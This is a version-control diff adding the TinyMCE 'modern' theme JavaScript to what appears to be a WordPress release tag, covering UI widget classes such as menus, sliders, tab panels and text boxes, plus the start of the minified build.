+              type: 'menu',
+              items: menu
+            };
+          } else {
+            menu.type = menu.type || 'menu';
+          }
+          if (parent.settings.itemDefaults) {
+            menu.itemDefaults = parent.settings.itemDefaults;
+          }
+          menu = self.menu = global$4.create(menu).parent(self).renderTo();
+          menu.reflow();
+          menu.on('cancel', function (e) {
+            e.stopPropagation();
+            self.focus();
+            menu.hide();
+          });
+          menu.on('show hide', function (e) {
+            if (e.control.items) {
+              e.control.items().each(function (ctrl) {
+                ctrl.active(ctrl.settings.selected);
+              });
+            }
+          }).fire('show');
+          menu.on('hide', function (e) {
+            if (e.control === menu) {
+              self.classes.remove('selected');
+            }
+          });
+          menu.submenu = true;
+        } else {
+          menu.show();
+        }
+        menu._parentMenu = parent;
+        menu.classes.add('menu-sub');
+        var rel = menu.testMoveRel(self.getEl(), self.isRtl() ? [
+          'tl-tr',
+          'bl-br',
+          'tr-tl',
+          'br-bl'
+        ] : [
+          'tr-tl',
+          'br-bl',
+          'tl-tr',
+          'bl-br'
+        ]);
+        menu.moveRel(self.getEl(), rel);
+        menu.rel = rel;
+        rel = 'menu-sub-' + rel;
+        menu.classes.remove(menu._lastRel).add(rel);
+        menu._lastRel = rel;
+        self.classes.add('selected');
+        self.aria('expanded', true);
+      }
+    },
+    hideMenu: function () {
+      var self = this;
+      if (self.menu) {
+        self.menu.items().each(function (item) {
+          if (item.hideMenu) {
+            item.hideMenu();
+          }
+        });
+        self.menu.hide();
+        self.aria('expanded', false);
+      }
+      return self;
+    },
+    renderHtml: function () {
+      var self = this;
+      var id = self._id;
+      var settings = self.settings;
+      var prefix = self.classPrefix;
+      var text = self.state.get('text');
+      var icon = self.settings.icon, image = '', shortcut = settings.shortcut;
+      var url = self.encode(settings.url), iconHtml = '';
+      function convertShortcut(shortcut) {
+        var i, value, replace = {};
+        if (global$8.mac) {
+          replace = {
+            alt: '&#x2325;',
+            ctrl: '&#x2318;',
+            shift: '&#x21E7;',
+            meta: '&#x2318;'
+          };
+        } else {
+          replace = { meta: 'Ctrl' };
+        }
+        shortcut = shortcut.split('+');
+        for (i = 0; i < shortcut.length; i++) {
+          value = replace[shortcut[i].toLowerCase()];
+          if (value) {
+            shortcut[i] = value;
+          }
+        }
+        return shortcut.join('+');
+      }
+      function escapeRegExp(str) {
+        return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+      }
+      function markMatches(text) {
+        var match = settings.match || '';
+        return match ? text.replace(new RegExp(escapeRegExp(match), 'gi'), function (match) {
+          return '!mce~match[' + match + ']mce~match!';
+        }) : text;
+      }
+      function boldMatches(text) {
+        return text.replace(new RegExp(escapeRegExp('!mce~match['), 'g'), '<b>').replace(new RegExp(escapeRegExp(']mce~match!'), 'g'), '</b>');
+      }
+      if (icon) {
+        self.parent().classes.add('menu-has-icons');
+      }
+      if (settings.image) {
+        image = ' style="background-image: url(\'' + settings.image + '\')"';
+      }
+      if (shortcut) {
+        shortcut = convertShortcut(shortcut);
+      }
+      icon = prefix + 'ico ' + prefix + 'i-' + (self.settings.icon || 'none');
+      iconHtml = text !== '-' ? '<i class="' + icon + '"' + image + '></i>\xA0' : '';
+      text = boldMatches(self.encode(markMatches(text)));
+      url = boldMatches(self.encode(markMatches(url)));
+      return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1">' + iconHtml + (text !== '-' ? '<span id="' + id + '-text" class="' + prefix + 'text">' + text + '</span>' : '') + (shortcut ? '<div id="' + id + '-shortcut" class="' + prefix + 'menu-shortcut">' + shortcut + '</div>' : '') + (settings.menu ? '<div class="' + prefix + 'caret"></div>' : '') + (url ? '<div class="' + prefix + 'menu-item-link">' + url + '</div>' : '') + '</div>';
+    },
+    postRender: function () {
+      var self = this, settings = self.settings;
+      var textStyle = settings.textStyle;
+      if (typeof textStyle === 'function') {
+        textStyle = textStyle.call(this);
+      }
+      if (textStyle) {
+        var textElm = self.getEl('text');
+        if (textElm) {
+          textElm.setAttribute('style', textStyle);
+          self._textStyle = textStyle;
+        }
+      }
+      self.on('mouseenter click', function (e) {
+        if (e.control === self) {
+          if (!settings.menu && e.type === 'click') {
+            self.fire('select');
+            global$7.requestAnimationFrame(function () {
+              self.parent().hideAll();
+            });
+          } else {
+            self.showMenu();
+            if (e.aria) {
+              self.menu.focus(true);
+            }
+          }
+        }
+      });
+      self._super();
+      return self;
+    },
+    hover: function () {
+      var self = this;
+      self.parent().items().each(function (ctrl) {
+        ctrl.classes.remove('selected');
+      });
+      self.classes.toggle('selected', true);
+      return self;
+    },
+    active: function (state) {
+      toggleTextStyle(this, state);
+      if (typeof state !== 'undefined') {
+        this.aria('checked', state);
+      }
+      return this._super(state);
+    },
+    remove: function () {
+      this._super();
+      if (this.menu) {
+        this.menu.remove();
+      }
+    }
+  });
+
+  var Radio = Checkbox.extend({
+    Defaults: {
+      classes: 'radio',
+      role: 'radio'
+    }
+  });
+
+  var ResizeHandle = Widget.extend({
+    renderHtml: function () {
+      var self = this, prefix = self.classPrefix;
+      self.classes.add('resizehandle');
+      if (self.settings.direction === 'both') {
+        self.classes.add('resizehandle-both');
+      }
+      self.canFocus = false;
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + '<i class="' + prefix + 'ico ' + prefix + 'i-resize"></i>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.resizeDragHelper = new DragHelper(this._id, {
+        start: function () {
+          self.fire('ResizeStart');
+        },
+        drag: function (e) {
+          if (self.settings.direction !== 'both') {
+            e.deltaX = 0;
+          }
+          self.fire('Resize', e);
+        },
+        stop: function () {
+          self.fire('ResizeEnd');
+        }
+      });
+    },
+    remove: function () {
+      if (this.resizeDragHelper) {
+        this.resizeDragHelper.destroy();
+      }
+      return this._super();
+    }
+  });
+
+  function createOptions(options) {
+    var strOptions = '';
+    if (options) {
+      for (var i = 0; i < options.length; i++) {
+        strOptions += '<option value="' + options[i] + '">' + options[i] + '</option>';
+      }
+    }
+    return strOptions;
+  }
+  var SelectBox = Widget.extend({
+    Defaults: {
+      classes: 'selectbox',
+      role: 'selectbox',
+      options: []
+    },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      if (self.settings.size) {
+        self.size = self.settings.size;
+      }
+      if (self.settings.options) {
+        self._options = self.settings.options;
+      }
+      self.on('keydown', function (e) {
+        var rootControl;
+        if (e.keyCode === 13) {
+          e.preventDefault();
+          self.parents().reverse().each(function (ctrl) {
+            if (ctrl.toJSON) {
+              rootControl = ctrl;
+              return false;
+            }
+          });
+          self.fire('submit', { data: rootControl.toJSON() });
+        }
+      });
+    },
+    options: function (state) {
+      if (!arguments.length) {
+        return this.state.get('options');
+      }
+      this.state.set('options', state);
+      return this;
+    },
+    renderHtml: function () {
+      var self = this;
+      var options, size = '';
+      options = createOptions(self._options);
+      if (self.size) {
+        size = ' size = "' + self.size + '"';
+      }
+      return '<select id="' + self._id + '" class="' + self.classes + '"' + size + '>' + options + '</select>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:options', function (e) {
+        self.getEl().innerHTML = createOptions(e.value);
+      });
+      return self._super();
+    }
+  });
+
+  function constrain(value, minVal, maxVal) {
+    if (value < minVal) {
+      value = minVal;
+    }
+    if (value > maxVal) {
+      value = maxVal;
+    }
+    return value;
+  }
+  function setAriaProp(el, name, value) {
+    el.setAttribute('aria-' + name, value);
+  }
+  function updateSliderHandle(ctrl, value) {
+    var maxHandlePos, shortSizeName, sizeName, stylePosName, styleValue, handleEl;
+    if (ctrl.settings.orientation === 'v') {
+      stylePosName = 'top';
+      sizeName = 'height';
+      shortSizeName = 'h';
+    } else {
+      stylePosName = 'left';
+      sizeName = 'width';
+      shortSizeName = 'w';
+    }
+    handleEl = ctrl.getEl('handle');
+    maxHandlePos = (ctrl.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
+    styleValue = maxHandlePos * ((value - ctrl._minValue) / (ctrl._maxValue - ctrl._minValue)) + 'px';
+    handleEl.style[stylePosName] = styleValue;
+    handleEl.style.height = ctrl.layoutRect().h + 'px';
+    setAriaProp(handleEl, 'valuenow', value);
+    setAriaProp(handleEl, 'valuetext', '' + ctrl.settings.previewFilter(value));
+    setAriaProp(handleEl, 'valuemin', ctrl._minValue);
+    setAriaProp(handleEl, 'valuemax', ctrl._maxValue);
+  }
+  var Slider = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      if (!settings.previewFilter) {
+        settings.previewFilter = function (value) {
+          return Math.round(value * 100) / 100;
+        };
+      }
+      self._super(settings);
+      self.classes.add('slider');
+      if (settings.orientation === 'v') {
+        self.classes.add('vertical');
+      }
+      self._minValue = isNumber(settings.minValue) ? settings.minValue : 0;
+      self._maxValue = isNumber(settings.maxValue) ? settings.maxValue : 100;
+      self._initValue = self.state.get('value');
+    },
+    renderHtml: function () {
+      var self = this, id = self._id, prefix = self.classPrefix;
+      return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-handle" class="' + prefix + 'slider-handle" role="slider" tabindex="-1"></div>' + '</div>';
+    },
+    reset: function () {
+      this.value(this._initValue).repaint();
+    },
+    postRender: function () {
+      var self = this;
+      var minValue, maxValue, screenCordName, stylePosName, sizeName, shortSizeName;
+      function toFraction(min, max, val) {
+        return (val + min) / (max - min);
+      }
+      function fromFraction(min, max, val) {
+        return val * (max - min) - min;
+      }
+      function handleKeyboard(minValue, maxValue) {
+        function alter(delta) {
+          var value;
+          value = self.value();
+          value = fromFraction(minValue, maxValue, toFraction(minValue, maxValue, value) + delta * 0.05);
+          value = constrain(value, minValue, maxValue);
+          self.value(value);
+          self.fire('dragstart', { value: value });
+          self.fire('drag', { value: value });
+          self.fire('dragend', { value: value });
+        }
+        self.on('keydown', function (e) {
+          switch (e.keyCode) {
+          case 37:
+          case 38:
+            alter(-1);
+            break;
+          case 39:
+          case 40:
+            alter(1);
+            break;
+          }
+        });
+      }
+      function handleDrag(minValue, maxValue, handleEl) {
+        var startPos, startHandlePos, maxHandlePos, handlePos, value;
+        self._dragHelper = new DragHelper(self._id, {
+          handle: self._id + '-handle',
+          start: function (e) {
+            startPos = e[screenCordName];
+            startHandlePos = parseInt(self.getEl('handle').style[stylePosName], 10);
+            maxHandlePos = (self.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
+            self.fire('dragstart', { value: value });
+          },
+          drag: function (e) {
+            var delta = e[screenCordName] - startPos;
+            handlePos = constrain(startHandlePos + delta, 0, maxHandlePos);
+            handleEl.style[stylePosName] = handlePos + 'px';
+            value = minValue + handlePos / maxHandlePos * (maxValue - minValue);
+            self.value(value);
+            self.tooltip().text('' + self.settings.previewFilter(value)).show().moveRel(handleEl, 'bc tc');
+            self.fire('drag', { value: value });
+          },
+          stop: function () {
+            self.tooltip().hide();
+            self.fire('dragend', { value: value });
+          }
+        });
+      }
+      minValue = self._minValue;
+      maxValue = self._maxValue;
+      if (self.settings.orientation === 'v') {
+        screenCordName = 'screenY';
+        stylePosName = 'top';
+        sizeName = 'height';
+        shortSizeName = 'h';
+      } else {
+        screenCordName = 'screenX';
+        stylePosName = 'left';
+        sizeName = 'width';
+        shortSizeName = 'w';
+      }
+      self._super();
+      handleKeyboard(minValue, maxValue);
+      handleDrag(minValue, maxValue, self.getEl('handle'));
+    },
+    repaint: function () {
+      this._super();
+      updateSliderHandle(this, this.value());
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:value', function (e) {
+        updateSliderHandle(self, e.value);
+      });
+      return self._super();
+    }
+  });
+
+  var Spacer = Widget.extend({
+    renderHtml: function () {
+      var self = this;
+      self.classes.add('spacer');
+      self.canFocus = false;
+      return '<div id="' + self._id + '" class="' + self.classes + '"></div>';
+    }
+  });
+
+  var SplitButton = MenuButton.extend({
+    Defaults: {
+      classes: 'widget btn splitbtn',
+      role: 'button'
+    },
+    repaint: function () {
+      var self$$1 = this;
+      var elm = self$$1.getEl();
+      var rect = self$$1.layoutRect();
+      var mainButtonElm, menuButtonElm;
+      self$$1._super();
+      mainButtonElm = elm.firstChild;
+      menuButtonElm = elm.lastChild;
+      global$9(mainButtonElm).css({
+        width: rect.w - funcs.getSize(menuButtonElm).width,
+        height: rect.h - 2
+      });
+      global$9(menuButtonElm).css({ height: rect.h - 2 });
+      return self$$1;
+    },
+    activeMenu: function (state) {
+      var self$$1 = this;
+      global$9(self$$1.getEl().lastChild).toggleClass(self$$1.classPrefix + 'active', state);
+    },
+    renderHtml: function () {
+      var self$$1 = this;
+      var id = self$$1._id;
+      var prefix = self$$1.classPrefix;
+      var image;
+      var icon = self$$1.state.get('icon');
+      var text = self$$1.state.get('text');
+      var settings = self$$1.settings;
+      var textHtml = '', ariaPressed;
+      image = settings.image;
+      if (image) {
+        icon = 'none';
+        if (typeof image !== 'string') {
+          image = window.getSelection ? image[0] : image[1];
+        }
+        image = ' style="background-image: url(\'' + image + '\')"';
+      } else {
+        image = '';
+      }
+      icon = settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+      if (text) {
+        self$$1.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self$$1.encode(text) + '</span>';
+      }
+      ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
+      return '<div id="' + id + '" class="' + self$$1.classes + '" role="button"' + ariaPressed + ' tabindex="-1">' + '<button type="button" hidefocus="1" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + (self$$1._menuBtnText ? (icon ? '\xA0' : '') + self$$1._menuBtnText : '') + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
+    },
+    postRender: function () {
+      var self$$1 = this, onClickHandler = self$$1.settings.onclick;
+      self$$1.on('click', function (e) {
+        var node = e.target;
+        if (e.control === this) {
+          while (node) {
+            if (e.aria && e.aria.key !== 'down' || node.nodeName === 'BUTTON' && node.className.indexOf('open') === -1) {
+              e.stopImmediatePropagation();
+              if (onClickHandler) {
+                onClickHandler.call(this, e);
+              }
+              return;
+            }
+            node = node.parentNode;
+          }
+        }
+      });
+      delete self$$1.settings.onclick;
+      return self$$1._super();
+    }
+  });
+
+  var StackLayout = FlowLayout.extend({
+    Defaults: {
+      containerClass: 'stack-layout',
+      controlClass: 'stack-layout-item',
+      endClass: 'break'
+    },
+    isNative: function () {
+      return true;
+    }
+  });
+
+  var TabPanel = Panel.extend({
+    Defaults: {
+      layout: 'absolute',
+      defaults: { type: 'panel' }
+    },
+    activateTab: function (idx) {
+      var activeTabElm;
+      if (this.activeTabId) {
+        activeTabElm = this.getEl(this.activeTabId);
+        global$9(activeTabElm).removeClass(this.classPrefix + 'active');
+        activeTabElm.setAttribute('aria-selected', 'false');
+      }
+      this.activeTabId = 't' + idx;
+      activeTabElm = this.getEl('t' + idx);
+      activeTabElm.setAttribute('aria-selected', 'true');
+      global$9(activeTabElm).addClass(this.classPrefix + 'active');
+      this.items()[idx].show().fire('showtab');
+      this.reflow();
+      this.items().each(function (item, i) {
+        if (idx !== i) {
+          item.hide();
+        }
+      });
+    },
+    renderHtml: function () {
+      var self = this;
+      var layout = self._layout;
+      var tabsHtml = '';
+      var prefix = self.classPrefix;
+      self.preRender();
+      layout.preRender(self);
+      self.items().each(function (ctrl, i) {
+        var id = self._id + '-t' + i;
+        ctrl.aria('role', 'tabpanel');
+        ctrl.aria('labelledby', id);
+        tabsHtml += '<div id="' + id + '" class="' + prefix + 'tab" ' + 'unselectable="on" role="tab" aria-controls="' + ctrl._id + '" aria-selected="false" tabIndex="-1">' + self.encode(ctrl.settings.title) + '</div>';
+      });
+      return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + '<div id="' + self._id + '-head" class="' + prefix + 'tabs" role="tablist">' + tabsHtml + '</div>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.settings.activeTab = self.settings.activeTab || 0;
+      self.activateTab(self.settings.activeTab);
+      this.on('click', function (e) {
+        var targetParent = e.target.parentNode;
+        if (targetParent && targetParent.id === self._id + '-head') {
+          var i = targetParent.childNodes.length;
+          while (i--) {
+            if (targetParent.childNodes[i] === e.target) {
+              self.activateTab(i);
+            }
+          }
+        }
+      });
+    },
+    initLayoutRect: function () {
+      var self = this;
+      var rect, minW, minH;
+      minW = funcs.getSize(self.getEl('head')).width;
+      minW = minW < 0 ? 0 : minW;
+      minH = 0;
+      self.items().each(function (item) {
+        minW = Math.max(minW, item.layoutRect().minW);
+        minH = Math.max(minH, item.layoutRect().minH);
+      });
+      self.items().each(function (ctrl) {
+        ctrl.settings.x = 0;
+        ctrl.settings.y = 0;
+        ctrl.settings.w = minW;
+        ctrl.settings.h = minH;
+        ctrl.layoutRect({
+          x: 0,
+          y: 0,
+          w: minW,
+          h: minH
+        });
+      });
+      var headH = funcs.getSize(self.getEl('head')).height;
+      self.settings.minWidth = minW;
+      self.settings.minHeight = minH + headH;
+      rect = self._super();
+      rect.deltaH += headH;
+      rect.innerH = rect.h - rect.deltaH;
+      return rect;
+    }
+  });
+
+  var TextBox = Widget.extend({
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      self$$1.classes.add('textbox');
+      if (settings.multiline) {
+        self$$1.classes.add('multiline');
+      } else {
+        self$$1.on('keydown', function (e) {
+          var rootControl;
+          if (e.keyCode === 13) {
+            e.preventDefault();
+            self$$1.parents().reverse().each(function (ctrl) {
+              if (ctrl.toJSON) {
+                rootControl = ctrl;
+                return false;
+              }
+            });
+            self$$1.fire('submit', { data: rootControl.toJSON() });
+          }
+        });
+        self$$1.on('keyup', function (e) {
+          self$$1.state.set('value', e.target.value);
+        });
+      }
+    },
+    repaint: function () {
+      var self$$1 = this;
+      var style, rect, borderBox, borderW, borderH = 0, lastRepaintRect;
+      style = self$$1.getEl().style;
+      rect = self$$1._layoutRect;
+      lastRepaintRect = self$$1._lastRepaintRect || {};
+      var doc = document;
+      if (!self$$1.settings.multiline && doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
+        style.lineHeight = rect.h - borderH + 'px';
+      }
+      borderBox = self$$1.borderBox;
+      borderW = borderBox.left + borderBox.right + 8;
+      borderH = borderBox.top + borderBox.bottom + (self$$1.settings.multiline ? 8 : 0);
+      if (rect.x !== lastRepaintRect.x) {
+        style.left = rect.x + 'px';
+        lastRepaintRect.x = rect.x;
+      }
+      if (rect.y !== lastRepaintRect.y) {
+        style.top = rect.y + 'px';
+        lastRepaintRect.y = rect.y;
+      }
+      if (rect.w !== lastRepaintRect.w) {
+        style.width = rect.w - borderW + 'px';
+        lastRepaintRect.w = rect.w;
+      }
+      if (rect.h !== lastRepaintRect.h) {
+        style.height = rect.h - borderH + 'px';
+        lastRepaintRect.h = rect.h;
+      }
+      self$$1._lastRepaintRect = lastRepaintRect;
+      self$$1.fire('repaint', {}, false);
+      return self$$1;
+    },
+    renderHtml: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var attrs, elm;
+      attrs = {
+        id: self$$1._id,
+        hidefocus: '1'
+      };
+      global$2.each([
+        'rows',
+        'spellcheck',
+        'maxLength',
+        'size',
+        'readonly',
+        'min',
+        'max',
+        'step',
+        'list',
+        'pattern',
+        'placeholder',
+        'required',
+        'multiple'
+      ], function (name$$1) {
+        attrs[name$$1] = settings[name$$1];
+      });
+      if (self$$1.disabled()) {
+        attrs.disabled = 'disabled';
+      }
+      if (settings.subtype) {
+        attrs.type = settings.subtype;
+      }
+      elm = funcs.create(settings.multiline ? 'textarea' : 'input', attrs);
+      elm.value = self$$1.state.get('value');
+      elm.className = self$$1.classes.toString();
+      return elm.outerHTML;
+    },
+    value: function (value) {
+      if (arguments.length) {
+        this.state.set('value', value);
+        return this;
+      }
+      if (this.state.get('rendered')) {
+        this.state.set('value', this.getEl().value);
+      }
+      return this.state.get('value');
+    },
+    postRender: function () {
+      var self$$1 = this;
+      self$$1.getEl().value = self$$1.state.get('value');
+      self$$1._super();
+      self$$1.$el.on('change', function (e) {
+        self$$1.state.set('value', e.target.value);
+        self$$1.fire('change', e);
+      });
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      self$$1.state.on('change:value', function (e) {
+        if (self$$1.getEl().value !== e.value) {
+          self$$1.getEl().value = e.value;
+        }
+      });
+      self$$1.state.on('change:disabled', function (e) {
+        self$$1.getEl().disabled = e.value;
+      });
+      return self$$1._super();
+    },
+    remove: function () {
+      this.$el.off();
+      this._super();
+    }
+  });
+
+  var getApi = function () {
+    return {
+      Selector: Selector,
+      Collection: Collection$2,
+      ReflowQueue: $_p42hyuxjjgwefrk,
+      Control: Control$1,
+      Factory: global$4,
+      KeyboardNavigation: KeyboardNavigation,
+      Container: Container,
+      DragHelper: DragHelper,
+      Scrollable: $_3rxloyuzjjgwefrs,
+      Panel: Panel,
+      Movable: $_3fnh5iukjjgwefpt,
+      Resizable: $_3m7770v1jjgwefrz,
+      FloatPanel: FloatPanel,
+      Window: Window$$1,
+      MessageBox: MessageBox,
+      Tooltip: Tooltip,
+      Widget: Widget,
+      Progress: Progress,
+      Notification: Notification,
+      Layout: Layout,
+      AbsoluteLayout: AbsoluteLayout,
+      Button: Button,
+      ButtonGroup: ButtonGroup,
+      Checkbox: Checkbox,
+      ComboBox: ComboBox,
+      ColorBox: ColorBox,
+      PanelButton: PanelButton,
+      ColorButton: ColorButton,
+      ColorPicker: ColorPicker,
+      Path: Path,
+      ElementPath: ElementPath,
+      FormItem: FormItem,
+      Form: Form,
+      FieldSet: FieldSet,
+      FilePicker: FilePicker,
+      FitLayout: FitLayout,
+      FlexLayout: FlexLayout,
+      FlowLayout: FlowLayout,
+      FormatControls: $_5heykgwxjjgwefyx,
+      GridLayout: GridLayout,
+      Iframe: Iframe$1,
+      InfoBox: InfoBox,
+      Label: Label,
+      Toolbar: Toolbar$1,
+      MenuBar: MenuBar,
+      MenuButton: MenuButton,
+      MenuItem: MenuItem,
+      Throbber: Throbber,
+      Menu: Menu,
+      ListBox: ListBox,
+      Radio: Radio,
+      ResizeHandle: ResizeHandle,
+      SelectBox: SelectBox,
+      Slider: Slider,
+      Spacer: Spacer,
+      SplitButton: SplitButton,
+      StackLayout: StackLayout,
+      TabPanel: TabPanel,
+      TextBox: TextBox,
+      DropZone: DropZone,
+      BrowseButton: BrowseButton
+    };
+  };
+  var appendTo = function (target) {
+    if (target.ui) {
+      global$2.each(getApi(), function (ref, key) {
+        target.ui[key] = ref;
+      });
+    } else {
+      target.ui = getApi();
+    }
+  };
+  var registerToFactory = function () {
+    global$2.each(getApi(), function (ref, key) {
+      global$4.add(key, ref);
+    });
+  };
+  var Api = {
+    appendTo: appendTo,
+    registerToFactory: registerToFactory
+  };
+
+  Api.registerToFactory();
+  Api.appendTo(window.tinymce ? window.tinymce : {});
+  global.add('modern', function (editor) {
+    $_5heykgwxjjgwefyx.setup(editor);
+    return $_buaxbttqjjgwefn0.get(editor);
+  });
+  function Theme () {
+  }
+
+  return Theme;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/themes/modern/theme.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/themes/modern/theme.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/themes/modern/theme.min.js	(revision 56912)
@@ -0,0 +1,1 @@
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t,n,i,r=a.getParentCtrl(e.target),o=l._lastHoverCtrl,s=0;if(r!==o){if((n=(l._lastHoverCtrl=r).parents().toArray().reverse()).push(r),o){for((i=o.parents().toArray().reverse()).push(o),s=0;s<i.length&&n[s]===i[s];s++);for(t=i.length-1;s<=t;t--)(o=i[t]).fire("mouseleave",{target:o.getEl()})}for(t=s;t<n.length;t++)(r=n[t]).fire("mouseenter",{target:r.getEl()})}}function c(e){e.preventDefault(),"mousewheel"===e.type?(e.deltaY=-.025*e.wheelDelta,e.wheelDeltaX&&(e.deltaX=-.025*e.wheelDeltaX)):(e.deltaX=0,e.deltaY=e.detail),e=a.fire("wheel",e)}if(i=a._nativeEvents){for((n=a.parents().toArray()).unshift(a),e=0,t=n.length;!l&&e<t;e++)l=n[e]._eventsRoot;for(l||(l=n[n.length-1]||a),a._eventsRoot=l,t=e,e=0;e<t;e++)n[e]._eventsRoot=l;var d=l._delegates;for(r in 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r=[];return function e(t){if(1===t.nodeType&&"none"!==t.style.display&&!t.disabled){var n;(u(n=t)&&!n.hidden||at(n)||/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(s(n)))&&r.push(t);for(var i=0;i<t.childNodes.length;i++)e(t.childNodes[i])}}(t||n.getEl()),r}function d(e){var t,n;(n=(e=e||r).parents().toArray()).unshift(e);for(var i=0;i<n.length&&!(t=n[i]).settings.ariaRoot;i++);return t}function f(e,t){return e<0?e=t.length-1:e>=t.length&&(e=0),t[e]&&t[e].focus(),e}function h(e,t){var n=-1,i=d();t=t||c(i.getEl());for(var r=0;r<t.length;r++)t[r]===o&&(n=r);n+=e,i.lastAriaIndex=f(n,t)}function m(){"tablist"===a()?h(-1,c(o.parentNode)):r.parent().submenu?b():h(-1)}function g(){var e=s(),t=a();"tablist"===t?h(1,c(o.parentNode)):"menuitem"===e&&"menu"===t&&l("haspopup")?y():h(1)}function p(){h(-1)}function v(){var e=s(),t=a();"menuitem"===e&&"menubar"===t?y():"button"===e&&l("haspopup")?y({key:"down"}):h(1)}function b(){r.fire("cancel")}function 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Oe(function(){t.state.get("rendered")&&(t.getEl("body").className=this.toString())}),t.bodyClasses.prefix=t.classPrefix,t.classes.add("container"),t.bodyClasses.add("container-body"),e.containerCls&&t.classes.add(e.containerCls),t._layout=b.create((e.layout||"")+"layout"),t.settings.items?t.add(t.settings.items):t.add(t.render()),t._hasBody=!0},items:function(){return this._items},find:function(e){return(e=ut[e]=ut[e]||new Ue(e)).find(this)},add:function(e){return this.items().add(this.create(e)).parent(this),this},focus:function(e){var t,n,i,r=this;if(!e||!(n=r.keyboardNav||r.parents().eq(-1)[0].keyboardNav))return i=r.find("*"),r.statusbar&&i.add(r.statusbar.items()),i.each(function(e){if(e.settings.autofocus)return t=null,!1;e.canFocus&&(t=t||e)}),t&&t.focus(),r;n.focusFirst(r)},replace:function(e,t){for(var n,i=this.items(),r=i.length;r--;)if(i[r]===e){i[r]=t;break}0<=r&&((n=t.getEl())&&n.parentNode.removeChild(n),(n=e.getEl())&&n.parentNode.removeChild(n)),t.parent(this)},create:function(e){var t,n=this,i=[];return w.isArray(e)||(e=[e]),w.each(e,function(e){e&&(e instanceof st||("string"==typeof e&&(e={type:e}),t=w.extend({},n.settings.defaults,e),e.type=t.type=t.type||e.type||n.settings.defaultType||(t.defaults?t.defaults.type:null),e=b.create(t)),i.push(e))}),i},renderNew:function(){var i=this;return i.items().each(function(e,t){var n;e.parent(i),e.state.get("rendered")||((n=i.getEl("body")).hasChildNodes()&&t<=n.childNodes.length-1?we(n.childNodes[t]).before(e.renderHtml()):we(n).append(e.renderHtml()),e.postRender(),Qe.add(e))}),i._layout.applyClasses(i.items().filter(":visible")),i._lastRect=null,i},append:function(e){return this.add(e).renderNew()},prepend:function(e){return this.items().set(this.create(e).concat(this.items().toArray())),this.renderNew()},insert:function(e,t,n){var i,r,o;return e=this.create(e),i=this.items(),!n&&t<i.length-1&&(t+=1),0<=t&&t<i.length&&(r=i.slice(0,t).toArray(),o=i.slice(t).toArray(),i.set(r.concat(e,o))),this.renderNew()},fromJSON:function(e){for(var t in e)this.find("#"+t).value(e[t]);return this},toJSON:function(){var i={};return this.find("*").each(function(e){var t=e.name(),n=e.value();t&&void 0!==n&&(i[t]=n)}),i},renderHtml:function(){var e=this,t=e._layout,n=this.settings.role;return e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'"'+(n?' role="'+this.settings.role+'"':"")+'><div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"},postRender:function(){var e,t=this;return t.items().exec("postRender"),t._super(),t._layout.postRender(t),t.state.set("rendered",!0),t.settings.style&&t.$el.css(t.settings.style),t.settings.border&&(e=t.borderBox,t.$el.css({"border-top-width":e.top,"border-right-width":e.right,"border-bottom-width":e.bottom,"border-left-width":e.left})),t.parent()||(t.keyboardNav=lt({root:t})),t},initLayoutRect:function(){var e=this._super();return this._layout.recalc(this),e},recalc:function(){var e=this,t=e._layoutRect,n=e._lastRect;if(!n||n.w!==t.w||n.h!==t.h)return e._layout.recalc(e),t=e.layoutRect(),e._lastRect={x:t.x,y:t.y,w:t.w,h:t.h},!0},reflow:function(){var e;if(Qe.remove(this),this.visible()){for(st.repaintControls=[],st.repaintControls.map={},this.recalc(),e=st.repaintControls.length;e--;)st.repaintControls[e].repaint();"flow"!==this.settings.layout&&"stack"!==this.settings.layout&&this.repaint(),st.repaintControls=[]}return this}});function dt(e){var t,n;if(e.changedTouches)for(t="screenX screenY pageX pageY clientX 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p(e);e.deltaX=e.screenX-b,e.deltaY=e.screenY-y,e.preventDefault(),h.drag(e)},p=function(e){dt(e),we(x).off("mousemove touchmove",v).off("mouseup touchend",p),m.remove(),h.stop&&h.stop(e)},this.destroy=function(){we(w).off()},we(w).on("mousedown touchstart",t)}var ht,mt,gt,pt,vt={init:function(){this.on("repaint",this.renderScroll)},renderScroll:function(){var p=this,v=2;function n(){var m,g,e;function t(e,t,n,i,r,o){var s,a,l,u,c,d,f,h;if(a=p.getEl("scroll"+e)){if(f=t.toLowerCase(),h=n.toLowerCase(),we(p.getEl("absend")).css(f,p.layoutRect()[i]-1),!r)return void 